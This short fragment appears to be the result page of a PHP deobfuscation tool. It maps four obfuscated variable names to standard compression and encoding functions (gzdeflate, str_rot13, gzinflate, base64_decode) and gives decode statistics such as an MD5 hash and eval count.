$ob73c258946a1a95c5f2ca6000c568276 gzdeflate
$ob899943706ae498d826f30edd2516c99 str_rot13
$obb18bf9c86dd80604587eee2c8c79e89 gzinflate
$oc053a441ab582c907b56bdc806584912 base64_decode

Stats

MD5 b4cd757f79af13cc2bcc26e399f92e35
Eval Count 4
Decode Time 4205 ms